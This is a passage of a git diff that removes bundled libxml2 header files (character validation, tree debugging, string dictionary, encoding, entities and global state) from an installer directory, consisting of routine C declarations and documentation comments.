- * xmlIsExtender_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsExtender_ch(c) (((c) == 0xb7)) - -/** - * xmlIsExtenderQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsExtenderQ(c) (((c) < 0x100) ? \ - xmlIsExtender_ch((c)) : \ - xmlCharInRange((c), &xmlIsExtenderGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsExtenderGroup; - -/** - * xmlIsIdeographicQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsIdeographicQ(c) (((c) < 0x100) ? \ - 0 :\ - (((0x4e00 <= (c)) && ((c) <= 0x9fa5)) || \ - ((c) == 0x3007) || \ - ((0x3021 <= (c)) && ((c) <= 0x3029)))) - -XMLPUBVAR const xmlChRangeGroup xmlIsIdeographicGroup; -XMLPUBVAR const unsigned char xmlIsPubidChar_tab[256]; - -/** - * xmlIsPubidChar_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsPubidChar_ch(c) (xmlIsPubidChar_tab[(c)]) - -/** - * xmlIsPubidCharQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsPubidCharQ(c) (((c) < 0x100) ? \ - xmlIsPubidChar_ch((c)) : 0) - -XMLPUBFUN int XMLCALL - xmlIsBaseChar(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsBlank(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsChar(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsCombining(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsDigit(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsExtender(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsIdeographic(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsPubidChar(unsigned int ch); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_CHVALID_H__ */ diff --git a/installer/libxml2/include/libxml/debugXML.h b/installer/libxml2/include/libxml/debugXML.h deleted file mode 100644 index 5b3be13..0000000 --- a/installer/libxml2/include/libxml/debugXML.h +++ /dev/null @@ -1,217 +0,0 @@ -/* - * Summary: Tree debugging APIs - * Description: Interfaces to a set of routines used for debugging the tree - * produced by the XML parser. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __DEBUG_XML__ -#define __DEBUG_XML__ -#include -#include -#include - -#ifdef LIBXML_DEBUG_ENABLED - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The standard Dump routines. - */ -XMLPUBFUN void XMLCALL - xmlDebugDumpString (FILE *output, - const xmlChar *str); -XMLPUBFUN void XMLCALL - xmlDebugDumpAttr (FILE *output, - xmlAttrPtr attr, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpAttrList (FILE *output, - xmlAttrPtr attr, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpOneNode (FILE *output, - xmlNodePtr node, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpNode (FILE *output, - xmlNodePtr node, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpNodeList (FILE *output, - xmlNodePtr node, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpDocumentHead(FILE *output, - xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlDebugDumpDocument (FILE *output, - xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlDebugDumpDTD (FILE *output, - xmlDtdPtr dtd); -XMLPUBFUN void XMLCALL - xmlDebugDumpEntities (FILE *output, - xmlDocPtr doc); - -/**************************************************************** - * * - * Checking routines * - * * - ****************************************************************/ - -XMLPUBFUN int XMLCALL - xmlDebugCheckDocument (FILE * output, - xmlDocPtr doc); - -/**************************************************************** - * * - * XML shell helpers * - * * - ****************************************************************/ - -XMLPUBFUN void XMLCALL - xmlLsOneNode (FILE *output, xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlLsCountNode (xmlNodePtr node); - -XMLPUBFUN const char * XMLCALL - xmlBoolToText (int boolval); - -/**************************************************************** - * * - * The XML shell related structures and functions * - * * - ****************************************************************/ - -#ifdef LIBXML_XPATH_ENABLED -/** - * xmlShellReadlineFunc: - * @prompt: a string prompt - * - * This is a generic signature for the XML shell input function. - * - * Returns a string which will be freed by the Shell. - */ -typedef char * (* xmlShellReadlineFunc)(char *prompt); - -/** - * xmlShellCtxt: - * - * A debugging shell context. - * TODO: add the defined function tables. - */ -typedef struct _xmlShellCtxt xmlShellCtxt; -typedef xmlShellCtxt *xmlShellCtxtPtr; -struct _xmlShellCtxt { - char *filename; - xmlDocPtr doc; - xmlNodePtr node; - xmlXPathContextPtr pctxt; - int loaded; - FILE *output; - xmlShellReadlineFunc input; -}; - -/** - * xmlShellCmd: - * @ctxt: a shell context - * @arg: a string argument - * @node: a first node - * @node2: a second node - * - * This is a generic signature for the XML shell functions. - * - * Returns an int, negative returns indicating errors. - */ -typedef int (* xmlShellCmd) (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); - -XMLPUBFUN void XMLCALL - xmlShellPrintXPathError (int errorType, - const char *arg); -XMLPUBFUN void XMLCALL - xmlShellPrintXPathResult(xmlXPathObjectPtr list); -XMLPUBFUN int XMLCALL - xmlShellList (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellBase (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellDir (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellLoad (xmlShellCtxtPtr ctxt, - char *filename, - xmlNodePtr node, - xmlNodePtr node2); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlShellPrintNode (xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlShellCat (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellWrite (xmlShellCtxtPtr ctxt, - char *filename, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellSave (xmlShellCtxtPtr ctxt, - char *filename, - xmlNodePtr node, - xmlNodePtr node2); -#endif /* LIBXML_OUTPUT_ENABLED */ -#ifdef LIBXML_VALID_ENABLED -XMLPUBFUN int XMLCALL - xmlShellValidate (xmlShellCtxtPtr ctxt, - char *dtd, - xmlNodePtr node, - xmlNodePtr node2); -#endif /* LIBXML_VALID_ENABLED */ -XMLPUBFUN int XMLCALL - xmlShellDu (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr tree, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellPwd (xmlShellCtxtPtr ctxt, - char *buffer, - xmlNodePtr node, - xmlNodePtr node2); - -/* - * The Shell interface. - */ -XMLPUBFUN void XMLCALL - xmlShell (xmlDocPtr doc, - char *filename, - xmlShellReadlineFunc input, - FILE *output); - -#endif /* LIBXML_XPATH_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_DEBUG_ENABLED */ -#endif /* __DEBUG_XML__ */ diff --git a/installer/libxml2/include/libxml/dict.h b/installer/libxml2/include/libxml/dict.h deleted file mode 100644 index b83db59..0000000 --- a/installer/libxml2/include/libxml/dict.h +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Summary: string dictionary - * Description: dictionary of reusable strings, just used to avoid allocation - * and freeing operations. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_DICT_H__ -#define __XML_DICT_H__ - -#ifdef __cplusplus -#define __XML_EXTERNC extern "C" -#else -#define __XML_EXTERNC -#endif - -/* - * The dictionary. - */ -__XML_EXTERNC typedef struct _xmlDict xmlDict; -__XML_EXTERNC typedef xmlDict *xmlDictPtr; - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Initializer - */ -XMLPUBFUN int XMLCALL xmlInitializeDict(void); - -/* - * Constructor and destructor. - */ -XMLPUBFUN xmlDictPtr XMLCALL - xmlDictCreate (void); -XMLPUBFUN size_t XMLCALL - xmlDictSetLimit (xmlDictPtr dict, - size_t limit); -XMLPUBFUN size_t XMLCALL - xmlDictGetUsage (xmlDictPtr dict); -XMLPUBFUN xmlDictPtr XMLCALL - xmlDictCreateSub(xmlDictPtr sub); -XMLPUBFUN int XMLCALL - xmlDictReference(xmlDictPtr dict); -XMLPUBFUN void XMLCALL - xmlDictFree (xmlDictPtr dict); - -/* - * Lookup of entry in the dictionary. - */ -XMLPUBFUN const xmlChar * XMLCALL - xmlDictLookup (xmlDictPtr dict, - const xmlChar *name, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlDictExists (xmlDictPtr dict, - const xmlChar *name, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlDictQLookup (xmlDictPtr dict, - const xmlChar *prefix, - const xmlChar *name); -XMLPUBFUN int XMLCALL - xmlDictOwns (xmlDictPtr dict, - const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlDictSize (xmlDictPtr dict); - -/* - * Cleanup function - */ -XMLPUBFUN void XMLCALL - xmlDictCleanup (void); - -#ifdef __cplusplus -} -#endif -#endif /* ! __XML_DICT_H__ */ diff --git a/installer/libxml2/include/libxml/encoding.h b/installer/libxml2/include/libxml/encoding.h deleted file mode 100644 index 7967cc6..0000000 --- a/installer/libxml2/include/libxml/encoding.h +++ /dev/null @@ -1,240 +0,0 @@ -/* - * Summary: interface for the encoding conversion functions - * Description: interface for the encoding conversion functions needed for - * XML basic encoding and iconv() support. - * - * Related specs are - * rfc2044 (UTF-8 and UTF-16) F. Yergeau Alis Technologies - * [ISO-10646] UTF-8 and UTF-16 in Annexes - * [ISO-8859-1] ISO Latin-1 characters codes. - * [UNICODE] The Unicode Consortium, "The Unicode Standard -- - * Worldwide Character Encoding -- Version 1.0", Addison- - * Wesley, Volume 1, 1991, Volume 2, 1992. UTF-8 is - * described in Unicode Technical Report #4. - * [US-ASCII] Coded Character Set--7-bit American Standard Code for - * Information Interchange, ANSI X3.4-1986. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_CHAR_ENCODING_H__ -#define __XML_CHAR_ENCODING_H__ - -#include - -#ifdef LIBXML_ICONV_ENABLED -#include -#endif -#ifdef LIBXML_ICU_ENABLED -#include -#endif -#ifdef __cplusplus -extern "C" { -#endif - -/* - * xmlCharEncoding: - * - * Predefined values for some standard encodings. - * Libxml does not do beforehand translation on UTF8 and ISOLatinX. - * It also supports ASCII, ISO-8859-1, and UTF16 (LE and BE) by default. - * - * Anything else would have to be translated to UTF8 before being - * given to the parser itself. The BOM for UTF16 and the encoding - * declaration are looked at and a converter is looked for at that - * point. If not found the parser stops here as asked by the XML REC. A - * converter can be registered by the user using xmlRegisterCharEncodingHandler - * but the current form doesn't allow stateful transcoding (a serious - * problem agreed !). If iconv has been found it will be used - * automatically and allow stateful transcoding, the simplest is then - * to be sure to enable iconv and to provide iconv libs for the encoding - * support needed. - * - * Note that the generic "UTF-16" is not a predefined value. Instead, only - * the specific UTF-16LE and UTF-16BE are present. - */ -typedef enum { - XML_CHAR_ENCODING_ERROR= -1, /* No char encoding detected */ - XML_CHAR_ENCODING_NONE= 0, /* No char encoding detected */ - XML_CHAR_ENCODING_UTF8= 1, /* UTF-8 */ - XML_CHAR_ENCODING_UTF16LE= 2, /* UTF-16 little endian */ - XML_CHAR_ENCODING_UTF16BE= 3, /* UTF-16 big endian */ - XML_CHAR_ENCODING_UCS4LE= 4, /* UCS-4 little endian */ - XML_CHAR_ENCODING_UCS4BE= 5, /* UCS-4 big endian */ - XML_CHAR_ENCODING_EBCDIC= 6, /* EBCDIC uh! */ - XML_CHAR_ENCODING_UCS4_2143=7, /* UCS-4 unusual ordering */ - XML_CHAR_ENCODING_UCS4_3412=8, /* UCS-4 unusual ordering */ - XML_CHAR_ENCODING_UCS2= 9, /* UCS-2 */ - XML_CHAR_ENCODING_8859_1= 10,/* ISO-8859-1 ISO Latin 1 */ - XML_CHAR_ENCODING_8859_2= 11,/* ISO-8859-2 ISO Latin 2 */ - XML_CHAR_ENCODING_8859_3= 12,/* ISO-8859-3 */ - XML_CHAR_ENCODING_8859_4= 13,/* ISO-8859-4 */ - XML_CHAR_ENCODING_8859_5= 14,/* ISO-8859-5 */ - XML_CHAR_ENCODING_8859_6= 15,/* ISO-8859-6 */ - XML_CHAR_ENCODING_8859_7= 16,/* ISO-8859-7 */ - XML_CHAR_ENCODING_8859_8= 17,/* ISO-8859-8 */ - XML_CHAR_ENCODING_8859_9= 18,/* ISO-8859-9 */ - XML_CHAR_ENCODING_2022_JP= 19,/* ISO-2022-JP */ - XML_CHAR_ENCODING_SHIFT_JIS=20,/* Shift_JIS */ - XML_CHAR_ENCODING_EUC_JP= 21,/* EUC-JP */ - XML_CHAR_ENCODING_ASCII= 22 /* pure ASCII */ -} xmlCharEncoding; - -/** - * xmlCharEncodingInputFunc: - * @out: a pointer to an array of bytes to store the UTF-8 result - * @outlen: the length of @out - * @in: a pointer to an array of chars in the original encoding - * @inlen: the length of @in - * - * Take a block of chars in the original encoding and try to convert - * it to an UTF-8 block of chars out. - * - * Returns the number of bytes written, -1 if lack of space, or -2 - * if the transcoding failed. - * The value of @inlen after return is the number of octets consumed - * if the return value is positive, else unpredictiable. - * The value of @outlen after return is the number of octets consumed. - */ -typedef int (* xmlCharEncodingInputFunc)(unsigned char *out, int *outlen, - const unsigned char *in, int *inlen); - - -/** - * xmlCharEncodingOutputFunc: - * @out: a pointer to an array of bytes to store the result - * @outlen: the length of @out - * @in: a pointer to an array of UTF-8 chars - * @inlen: the length of @in - * - * Take a block of UTF-8 chars in and try to convert it to another - * encoding. - * Note: a first call designed to produce heading info is called with - * in = NULL. If stateful this should also initialize the encoder state. - * - * Returns the number of bytes written, -1 if lack of space, or -2 - * if the transcoding failed. - * The value of @inlen after return is the number of octets consumed - * if the return value is positive, else unpredictiable. - * The value of @outlen after return is the number of octets produced. - */ -typedef int (* xmlCharEncodingOutputFunc)(unsigned char *out, int *outlen, - const unsigned char *in, int *inlen); - - -/* - * Block defining the handlers for non UTF-8 encodings. - * If iconv is supported, there are two extra fields. - */ -#ifdef LIBXML_ICU_ENABLED -struct _uconv_t { - UConverter *uconv; /* for conversion between an encoding and UTF-16 */ - UConverter *utf8; /* for conversion between UTF-8 and UTF-16 */ -}; -typedef struct _uconv_t uconv_t; -#endif - -typedef struct _xmlCharEncodingHandler xmlCharEncodingHandler; -typedef xmlCharEncodingHandler *xmlCharEncodingHandlerPtr; -struct _xmlCharEncodingHandler { - char *name; - xmlCharEncodingInputFunc input; - xmlCharEncodingOutputFunc output; -#ifdef LIBXML_ICONV_ENABLED - iconv_t iconv_in; - iconv_t iconv_out; -#endif /* LIBXML_ICONV_ENABLED */ -#ifdef LIBXML_ICU_ENABLED - uconv_t *uconv_in; - uconv_t *uconv_out; -#endif /* LIBXML_ICU_ENABLED */ -}; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Interfaces for encoding handlers. - */ -XMLPUBFUN void XMLCALL - xmlInitCharEncodingHandlers (void); -XMLPUBFUN void XMLCALL - xmlCleanupCharEncodingHandlers (void); -XMLPUBFUN void XMLCALL - xmlRegisterCharEncodingHandler (xmlCharEncodingHandlerPtr handler); -XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL - xmlGetCharEncodingHandler (xmlCharEncoding enc); -XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL - xmlFindCharEncodingHandler (const char *name); -XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL - xmlNewCharEncodingHandler (const char *name, - xmlCharEncodingInputFunc input, - xmlCharEncodingOutputFunc output); - -/* - * Interfaces for encoding names and aliases. - */ -XMLPUBFUN int XMLCALL - xmlAddEncodingAlias (const char *name, - const char *alias); -XMLPUBFUN int XMLCALL - xmlDelEncodingAlias (const char *alias); -XMLPUBFUN const char * XMLCALL - xmlGetEncodingAlias (const char *alias); -XMLPUBFUN void XMLCALL - xmlCleanupEncodingAliases (void); -XMLPUBFUN xmlCharEncoding XMLCALL - xmlParseCharEncoding (const char *name); -XMLPUBFUN const char * XMLCALL - xmlGetCharEncodingName (xmlCharEncoding enc); - -/* - * Interfaces directly used by the parsers. - */ -XMLPUBFUN xmlCharEncoding XMLCALL - xmlDetectCharEncoding (const unsigned char *in, - int len); - -XMLPUBFUN int XMLCALL - xmlCharEncOutFunc (xmlCharEncodingHandler *handler, - xmlBufferPtr out, - xmlBufferPtr in); - -XMLPUBFUN int XMLCALL - xmlCharEncInFunc (xmlCharEncodingHandler *handler, - xmlBufferPtr out, - xmlBufferPtr in); -XMLPUBFUN int XMLCALL - xmlCharEncFirstLine (xmlCharEncodingHandler *handler, - xmlBufferPtr out, - xmlBufferPtr in); -XMLPUBFUN int XMLCALL - xmlCharEncCloseFunc (xmlCharEncodingHandler *handler); - -/* - * Export a few useful functions - */ -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN int XMLCALL - UTF8Toisolat1 (unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN int XMLCALL - isolat1ToUTF8 (unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen); -#ifdef __cplusplus -} -#endif - -#endif /* __XML_CHAR_ENCODING_H__ */ diff --git a/installer/libxml2/include/libxml/entities.h b/installer/libxml2/include/libxml/entities.h deleted file mode 100644 index 47b4573..0000000 --- a/installer/libxml2/include/libxml/entities.h +++ /dev/null @@ -1,151 +0,0 @@ -/* - * Summary: interface for the XML entities handling - * Description: this module provides some of the entity API needed - * for the parser and applications. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_ENTITIES_H__ -#define __XML_ENTITIES_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The different valid entity types. - */ -typedef enum { - XML_INTERNAL_GENERAL_ENTITY = 1, - XML_EXTERNAL_GENERAL_PARSED_ENTITY = 2, - XML_EXTERNAL_GENERAL_UNPARSED_ENTITY = 3, - XML_INTERNAL_PARAMETER_ENTITY = 4, - XML_EXTERNAL_PARAMETER_ENTITY = 5, - XML_INTERNAL_PREDEFINED_ENTITY = 6 -} xmlEntityType; - -/* - * An unit of storage for an entity, contains the string, the value - * and the linkind data needed for the linking in the hash table. - */ - -struct _xmlEntity { - void *_private; /* application data */ - xmlElementType type; /* XML_ENTITY_DECL, must be second ! */ - const xmlChar *name; /* Entity name */ - struct _xmlNode *children; /* First child link */ - struct _xmlNode *last; /* Last child link */ - struct _xmlDtd *parent; /* -> DTD */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - xmlChar *orig; /* content without ref substitution */ - xmlChar *content; /* content or ndata if unparsed */ - int length; /* the content length */ - xmlEntityType etype; /* The entity type */ - const xmlChar *ExternalID; /* External identifier for PUBLIC */ - const xmlChar *SystemID; /* URI for a SYSTEM or PUBLIC Entity */ - - struct _xmlEntity *nexte; /* unused */ - const xmlChar *URI; /* the full URI as computed */ - int owner; /* does the entity own the childrens */ - int checked; /* was the entity content checked */ - /* this is also used to count entities - * references done from that entity - * and if it contains '<' */ -}; - -/* - * All entities are stored in an hash table. - * There is 2 separate hash tables for global and parameter entities. - */ - -typedef struct _xmlHashTable xmlEntitiesTable; -typedef xmlEntitiesTable *xmlEntitiesTablePtr; - -/* - * External functions: - */ - -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN void XMLCALL - xmlInitializePredefinedEntities (void); -#endif /* LIBXML_LEGACY_ENABLED */ - -XMLPUBFUN xmlEntityPtr XMLCALL - xmlNewEntity (xmlDocPtr doc, - const xmlChar *name, - int type, - const xmlChar *ExternalID, - const xmlChar *SystemID, - const xmlChar *content); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlAddDocEntity (xmlDocPtr doc, - const xmlChar *name, - int type, - const xmlChar *ExternalID, - const xmlChar *SystemID, - const xmlChar *content); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlAddDtdEntity (xmlDocPtr doc, - const xmlChar *name, - int type, - const xmlChar *ExternalID, - const xmlChar *SystemID, - const xmlChar *content); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetPredefinedEntity (const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetDocEntity (const xmlDoc *doc, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetDtdEntity (xmlDocPtr doc, - const xmlChar *name); -XMLPUBFUN xmlEntityPtr XMLCALL - xmlGetParameterEntity (xmlDocPtr doc, - const xmlChar *name); -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN const xmlChar * XMLCALL - xmlEncodeEntities (xmlDocPtr doc, - const xmlChar *input); -#endif /* LIBXML_LEGACY_ENABLED */ -XMLPUBFUN xmlChar * XMLCALL - xmlEncodeEntitiesReentrant(xmlDocPtr doc, - const xmlChar *input); -XMLPUBFUN xmlChar * XMLCALL - xmlEncodeSpecialChars (const xmlDoc *doc, - const xmlChar *input); -XMLPUBFUN xmlEntitiesTablePtr XMLCALL - xmlCreateEntitiesTable (void); -#ifdef LIBXML_TREE_ENABLED -XMLPUBFUN xmlEntitiesTablePtr XMLCALL - xmlCopyEntitiesTable (xmlEntitiesTablePtr table); -#endif /* LIBXML_TREE_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeEntitiesTable (xmlEntitiesTablePtr table); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlDumpEntitiesTable (xmlBufferPtr buf, - xmlEntitiesTablePtr table); -XMLPUBFUN void XMLCALL - xmlDumpEntityDecl (xmlBufferPtr buf, - xmlEntityPtr ent); -#endif /* LIBXML_OUTPUT_ENABLED */ -#ifdef LIBXML_LEGACY_ENABLED -XMLPUBFUN void XMLCALL - xmlCleanupPredefinedEntities(void); -#endif /* LIBXML_LEGACY_ENABLED */ - - -#ifdef __cplusplus -} -#endif - -# endif /* __XML_ENTITIES_H__ */ diff --git a/installer/libxml2/include/libxml/globals.h b/installer/libxml2/include/libxml/globals.h deleted file mode 100644 index a9305aa..0000000 --- a/installer/libxml2/include/libxml/globals.h +++ /dev/null @@ -1,509 +0,0 @@ -/* - * Summary: interface for all global variables of the library - * Description: all the global variables and thread handling for - * those variables is handled by this module. - * - * The bottom of this file is automatically generated by build_glob.py - * based on the description file global.data - * - * Copy: See Copyright for the status of this software. - * - * Author: Gary Pennington , Daniel Veillard - */ - -#ifndef __XML_GLOBALS_H -#define __XML_GLOBALS_H - -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -XMLPUBFUN void XMLCALL xmlInitGlobals(void); -XMLPUBFUN void XMLCALL xmlCleanupGlobals(void); - -/** - * xmlParserInputBufferCreateFilenameFunc: - * @URI: the URI to read from - * @enc: the requested source encoding - * - * Signature for the function doing the lookup for a suitable input method - * corresponding to an URI. - * - * Returns the new xmlParserInputBufferPtr in case of success or NULL if no - * method was found. - */ -typedef xmlParserInputBufferPtr (*xmlParserInputBufferCreateFilenameFunc) (const char *URI, - xmlCharEncoding enc); - - -/** - * xmlOutputBufferCreateFilenameFunc: - * @URI: the URI to write to - * @enc: the requested target encoding - * - * Signature for the function doing the lookup for a suitable output method - * corresponding to an URI. - * - * Returns the new xmlOutputBufferPtr in case of success or NULL if no - * method was found. - */ -typedef xmlOutputBufferPtr (*xmlOutputBufferCreateFilenameFunc) (const char *URI, - xmlCharEncodingHandlerPtr encoder, - int compression); - -XMLPUBFUN xmlParserInputBufferCreateFilenameFunc -XMLCALL xmlParserInputBufferCreateFilenameDefault (xmlParserInputBufferCreateFilenameFunc func); -XMLPUBFUN xmlOutputBufferCreateFilenameFunc -XMLCALL xmlOutputBufferCreateFilenameDefault (xmlOutputBufferCreateFilenameFunc func); - -/* - * Externally global symbols which need to be protected for backwards - * compatibility support. - */ - -#undef docbDefaultSAXHandler -#undef htmlDefaultSAXHandler -#undef oldXMLWDcompatibility -#undef xmlBufferAllocScheme -#undef xmlDefaultBufferSize -#undef xmlDefaultSAXHandler -#undef xmlDefaultSAXLocator -#undef xmlDoValidityCheckingDefaultValue -#undef xmlFree -#undef xmlGenericError -#undef xmlStructuredError -#undef xmlGenericErrorContext -#undef xmlStructuredErrorContext -#undef xmlGetWarningsDefaultValue -#undef xmlIndentTreeOutput -#undef xmlTreeIndentString -#undef xmlKeepBlanksDefaultValue -#undef xmlLineNumbersDefaultValue -#undef xmlLoadExtDtdDefaultValue -#undef xmlMalloc -#undef xmlMallocAtomic -#undef xmlMemStrdup -#undef xmlParserDebugEntities -#undef xmlParserVersion -#undef xmlPedanticParserDefaultValue -#undef xmlRealloc -#undef xmlSaveNoEmptyTags -#undef xmlSubstituteEntitiesDefaultValue -#undef xmlRegisterNodeDefaultValue -#undef xmlDeregisterNodeDefaultValue -#undef xmlLastError -#undef xmlParserInputBufferCreateFilenameValue -#undef xmlOutputBufferCreateFilenameValue - -/** - * xmlRegisterNodeFunc: - * @node: the current node - * - * Signature for the registration callback of a created node - */ -typedef void (*xmlRegisterNodeFunc) (xmlNodePtr node); -/** - * xmlDeregisterNodeFunc: - * @node: the current node - * - * Signature for the deregistration callback of a discarded node - */ -typedef void (*xmlDeregisterNodeFunc) (xmlNodePtr node); - -typedef struct _xmlGlobalState xmlGlobalState; -typedef xmlGlobalState *xmlGlobalStatePtr; -struct _xmlGlobalState -{ - const char *xmlParserVersion; - - xmlSAXLocator xmlDefaultSAXLocator; - xmlSAXHandlerV1 xmlDefaultSAXHandler; - xmlSAXHandlerV1 docbDefaultSAXHandler; - xmlSAXHandlerV1 htmlDefaultSAXHandler; - - xmlFreeFunc xmlFree; - xmlMallocFunc xmlMalloc; - xmlStrdupFunc xmlMemStrdup; - xmlReallocFunc xmlRealloc; - - xmlGenericErrorFunc xmlGenericError; - xmlStructuredErrorFunc xmlStructuredError; - void *xmlGenericErrorContext; - - int oldXMLWDcompatibility; - - xmlBufferAllocationScheme xmlBufferAllocScheme; - int xmlDefaultBufferSize; - - int xmlSubstituteEntitiesDefaultValue; - int xmlDoValidityCheckingDefaultValue; - int xmlGetWarningsDefaultValue; - int xmlKeepBlanksDefaultValue; - int xmlLineNumbersDefaultValue; - int xmlLoadExtDtdDefaultValue; - int xmlParserDebugEntities; - int xmlPedanticParserDefaultValue; - - int xmlSaveNoEmptyTags; - int xmlIndentTreeOutput; - const char *xmlTreeIndentString; - - xmlRegisterNodeFunc xmlRegisterNodeDefaultValue; - xmlDeregisterNodeFunc xmlDeregisterNodeDefaultValue; - - xmlMallocFunc xmlMallocAtomic; - xmlError xmlLastError; - - xmlParserInputBufferCreateFilenameFunc xmlParserInputBufferCreateFilenameValue; - xmlOutputBufferCreateFilenameFunc xmlOutputBufferCreateFilenameValue; - - void *xmlStructuredErrorContext; -}; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif - -XMLPUBFUN void XMLCALL xmlInitializeGlobalState(xmlGlobalStatePtr gs); - -XMLPUBFUN void XMLCALL xmlThrDefSetGenericErrorFunc(void *ctx, xmlGenericErrorFunc handler); - -XMLPUBFUN void XMLCALL xmlThrDefSetStructuredErrorFunc(void *ctx, xmlStructuredErrorFunc handler); - -XMLPUBFUN xmlRegisterNodeFunc XMLCALL xmlRegisterNodeDefault(xmlRegisterNodeFunc func); -XMLPUBFUN xmlRegisterNodeFunc XMLCALL xmlThrDefRegisterNodeDefault(xmlRegisterNodeFunc func); -XMLPUBFUN xmlDeregisterNodeFunc XMLCALL xmlDeregisterNodeDefault(xmlDeregisterNodeFunc func); -XMLPUBFUN xmlDeregisterNodeFunc XMLCALL xmlThrDefDeregisterNodeDefault(xmlDeregisterNodeFunc func); - -XMLPUBFUN xmlOutputBufferCreateFilenameFunc XMLCALL - xmlThrDefOutputBufferCreateFilenameDefault(xmlOutputBufferCreateFilenameFunc func); -XMLPUBFUN xmlParserInputBufferCreateFilenameFunc XMLCALL - xmlThrDefParserInputBufferCreateFilenameDefault( - xmlParserInputBufferCreateFilenameFunc func); - -/** DOC_DISABLE */ -/* - * In general the memory allocation entry points are not kept - * thread specific but this can be overridden by LIBXML_THREAD_ALLOC_ENABLED - * - xmlMalloc - * - xmlMallocAtomic - * - xmlRealloc - * - xmlMemStrdup - * - xmlFree - */ - -#ifdef LIBXML_THREAD_ALLOC_ENABLED -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlMallocFunc * XMLCALL __xmlMalloc(void); -#define xmlMalloc \ -(*(__xmlMalloc())) -#else -XMLPUBVAR xmlMallocFunc xmlMalloc; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlMallocFunc * XMLCALL __xmlMallocAtomic(void); -#define xmlMallocAtomic \ -(*(__xmlMallocAtomic())) -#else -XMLPUBVAR xmlMallocFunc xmlMallocAtomic; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlReallocFunc * XMLCALL __xmlRealloc(void); -#define xmlRealloc \ -(*(__xmlRealloc())) -#else -XMLPUBVAR xmlReallocFunc xmlRealloc; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlFreeFunc * XMLCALL __xmlFree(void); -#define xmlFree \ -(*(__xmlFree())) -#else -XMLPUBVAR xmlFreeFunc 